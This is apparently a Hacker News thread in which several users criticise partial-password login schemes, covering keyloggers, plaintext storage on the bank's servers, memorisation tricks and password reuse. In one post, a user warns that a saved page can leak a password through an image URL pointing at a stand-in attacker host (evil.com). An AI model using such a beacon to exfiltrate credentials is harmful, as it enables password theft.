Partial password usability sucks • Hacker News Board

Re: Partial password usability sucks

#81

Post by vkou » Thu, Mar 07, 2019, 6:09 PM UTC

dTal wrote: post #75

vkou wrote: post #44

Earlier quoted context omitted.

> If I understand correctly - to get the whole password keylogger must be specific to this bank site (to understand which characters are provided), and must be active on at least 4 logins. In my book that's a big improvement. The difference in difficulty of keylogging 4 logins, and 1 login is, in practice, small. Once your computer is pwned, all bets are off.

I think there's a big difference between capturing the whole password at once, and having to reconstruct it contextually - it may be difficult to recover the typing context. Even if the context is known 100% reliably, it will take far more than 4 logins to scrape enough information to reconstruct the password - you need overlap to match the fragments. It the user visits any other site that uses a similar scheme, it g…

Someone breaking into my apartment, and putting an inline USB keylogger on my computer, that is incapable of doing anything but recording keystrokes, to steal my banking login, is both seriously overthinking their crimes, and, at the same time, seriously underachieving.

Re: Partial password usability sucks

#82

Post by pmarreck » Thu, Mar 07, 2019, 6:13 PM UTC

inetknght wrote: post #8

> The idea is good it gives you an extra layer of protection against password theft (link 1, link 2, link 3). That sounds obnoxiously insecure on the back-end. Notoriously, the most broken authentication mechanisms used plaintext (or reversibly encrypted) storage. The answers to the three security questions that the article links to also point this out. Sounds like ING Poland needs to be called out by some security r…

I was just going to comment that implementing this requires storing the password in cleartext on their servers... that's absolutely terrible and not at all best-practice... in fact, the furthest thing from!

Re: Partial password usability sucks

#83

Post by dzek69 » Thu, Mar 07, 2019, 8:34 PM UTC

My solution to this:

i use password that contains only 5-letters words

so each new word starts at 1, 6, 11, 16, 21 etc

it's easy to scan the password for specific letter in memory this way

funny thing: i didn't do that on purpose. I just came up with a password that happend to have such words only.

Re: Partial password usability sucks

#84

Post by dzek69 » Thu, Mar 07, 2019, 8:36 PM UTC

dzek69 wrote: post #83

My solution to this: i use password that contains only 5-letters words so each new word starts at 1, 6, 11, 16, 21 etc it's easy to scan the password for specific letter in memory this way funny thing: i didn't do that on purpose. I just came up with a password that happend to have such words only.

PS. If author reads that maybe:

saving a webpage on disk can still be considered unsafe. you can send a password to the internet via various way, like insering an image with url: evil.com/pass.jpg?pass=enteredpassword

Re: Partial password usability sucks

#85

Post by cryptonector » Fri, Mar 08, 2019, 4:24 PM UTC

ajuc wrote: post #23

inetknght wrote: post #8

> The idea is good it gives you an extra layer of protection against password theft (link 1, link 2, link 3). That sounds obnoxiously insecure on the back-end. Notoriously, the most broken authentication mechanisms used plaintext (or reversibly encrypted) storage. The answers to the three security questions that the article links to also point this out. Sounds like ING Poland needs to be called out by some security r…

What's more likely - that the bank gets hacked, or that you install a keylogger? Also there are ways to implement this without keeping the whole password in plaintext/reversibly encrypted. One example I just thought of: Ask for 75% of the password each time, remember random 1/3rd of that (25% of full password) till the next login together with the hash, and on the next login ask for all the letters you haven't rememb…

How many users get compromised if a bank gets compromised vs. if one user installs a keylogger?

Re: Partial password usability sucks

#86

Post by dpark » Fri, Mar 08, 2019, 5:06 PM UTC

ajuc wrote: post #45

rhinoceraptor wrote: post #42

Earlier quoted context omitted.

I'm sure it will help the bank's helpdesk job security, but not much else. Remembering a specific character of a password is not easy to do, so people will probably type it into notepad and then count to get the right one anyways. TOTP is much more usable, and probably more secure than inventing your own ridiculous partial password scheme.

You just spell your password in your mind and when the character is needed you press the key, when it's not needed you don't. The login site looks like this: [x] [ ] [x] [ ] [ ] [ ] [ ] [x] [ ] [ ] [ ] [x] [ ] And when you press a key it jumps to the next empty field.

If you actually use random passwords, this isn't possible. You have to pull up your password in plaintext so you can view it in its entirety and manually count to the correct character,

This partial password stuff is just utter garbage. It's lower security than a typical password, way lower security than multi-factor auth, blocks use of password managers, and is generally inconvenient for no good reason.

Re: Partial password usability sucks

#87

Post by dpark » Fri, Mar 08, 2019, 5:08 PM UTC

ajuc wrote: post #73

gbear605 wrote: post #64

Earlier quoted context omitted.

Some of my passwords I have memorized only as muscle memory. Without going into too much detail, if I didn’t have a qwerty keyboard, I wouldn’t be able to enter it without a couple minutes of thinking “okay, this key is there on a qwerty keyboard...”

I create my passwords from long, easy-to-remember sentences that I sample to be like 15-25 characters long with capitalization and special characters added in a pattern. Makes it easy to remember the password without muscle memory.

This means you're re-using passwords. There is zero chance that you remember hundreds of unique passwords for all the different sites you need access to. Good money says that your pattern is extremely predictable and anyone who sees one or two of your passwords has enough context to know the pattern for all other passwords.